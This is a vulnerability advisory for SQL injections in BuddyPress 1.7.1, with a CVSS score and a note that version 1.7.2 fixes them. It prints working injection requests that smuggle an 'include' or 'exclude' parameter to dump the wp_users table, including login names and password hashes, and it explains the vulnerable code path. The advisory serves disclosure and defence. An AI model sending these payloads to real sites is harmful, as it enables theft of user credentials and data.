Advisory:

Several SQL injections in BuddyPress 1.7.1

Vulnerability

Last revised:

BuddyPress 1.7.1 contains several SQL injections that allow arbitrary data to be retrieved.

SQL injection in groups filter

This is an example of an SQL injection via an HTTP request to BuddyPress. It modifies a request designed to return a list of groups so that, instead, it returns the entire contents of the wp_users table:

POST /wordpress/groups/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Pentest
Content-Length: 52
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
page=1%26include=0) union select * FROM wp_users --+

It’s also possible to replicate this request (including the SQL injection) in an AJAX call:

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Content-Length: 139
Origin: http://127.0.0.1
X-Requested-With: XMLHttpRequest
User-Agent: Pentest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Referer: http://127.0.0.1/wordpress/groups/?s=test
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
action=groups_filter&object=groups&filter=null&search_terms=test&scope=all&page=1%26include=0) union select * FROM wp_users -- &extras=null

In both of the above examples, the request eventually results in a call to the get function in the BP_Groups_Group class. The get function builds an SQL query by appending strings together. If an attacker can control of the value of $include or $exclude they can modify the query by including the ) character (which is not escaped by the escape function) and then insert their own SQL. For example, if the value of $include is:

0) union select * FROM wp_users --

The resulting query would be:

SELECT g.*, gm1.meta_value AS total_member_count, gm2.meta_value AS last_activity FROM wp_bp_groups_groupmeta gm1, wp_bp_groups_groupmeta gm2, wp_bp_groups g WHERE g.id = gm1.group_id AND g.id = gm2.group_id AND gm2.meta_key = 'last_activity' AND gm1.meta_key = 'total_member_count' AND g.status != 'hidden' AND ( g.name LIKE '%%test%%' OR g.description LIKE '%%test%%' ) AND g.id IN (0) union select * FROM wp_users -- ) ORDER BY last_activity DESC LIMIT 0, 20

As already mentioned, to exploit the specific vulnerability in get, outlined above, the attacker needs to find a way to control the value of $include or $exclude. In the example HTTP requests also provided above, the attacker has chosen to focus on $include, attempting to smuggle it through as an extra parameter by URL encoding an ampersand (%26):

page=1%26include=0) union select * FROM wp_users --+

This means that when the URL is decoded, the value of page will actually be:

1&include=0) union select * FROM wp_users --+.

In this case, the page parameter is added the $qs array as:

page=1&include=0) union select * FROM wp_users --

A few lines later, the items in the $qs array are joined together in a new string, each separated by an ampersand, and assigned to a the $query_string variable. At this point, the ampersand that was contained in the value of the page parameter is indistinguishable from the ampersands separating the genuine parameter key-value pairs and our attacker has succeeded in smuggling the include parameter and its dangerous value (a SQL query fragment) through. The value of $query_string is returned by bp_dtheme_ajax_querystring and assigned to $args, where wp_parse_args takes the value of $args and breaks it into chunks, using the ampersand character as a delimiter, and returns an array ($r) containing each chunk as an item: The array is then passed to the extract function which assigns the values to local variables. The local variables (including $include) are then used during the construction of an instance of the BP_Groups_Template class which calls the BP_Groups_Template class which calls the aforementioned get function in BP_Groups_Group (p.2).

SQL injection in get_users_by_letter

The following request:

POST /wordpress/members/ HTTP/1.1
Host: A_WEBSITE
Content-Length: 172
User-Agent: Pentest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
page=1%26type=random%26exclude=1)AND%201=0%20UNION%20ALL%20SELECT%201%2C%202%2CCONCAT(user_login,0x7C,user_pass)%2C%204%2C%205%2C%206%20FROM%20wp_users%20WHERE ID NOT IN (1

calls /buddypress/bp-themes/bp-default/members/index.php, which calls members/members-loop.php, which calls:

<?php if ( bp_has_members( bp_ajax_querystring( 'members' ) ) ) : ?>

The method bp_has_members function is defined in buddypress/bp-members/bp-members-template.php, where bp_has_members calls the extract method, allowing the attacker to overwrite any local variable. This lets the attacker call new BP_Core_Members_Template (with any variables of our choosing. This in turn calls (amongst other functions ) get_users_by_letter which appends the $excludevariable straight into the SQL query.

Current state: Fixed

CVSS Summary

CVSS base scores for this vulnerability
Score 7.5 High
Vector Network
Complexity Low
Authentication None
Confidentiality Partial
Integrity Partial
Availability Partial
You can read more about CVSS base scores on Wikipedia or in the CVSS specification.

Proof of concept

Advisory timeline

Mitigation/further actions

BuddyPress version 1.7.2 has been released which addresses these vulnerabilities, among others. Users running older versions should upgrade immediately.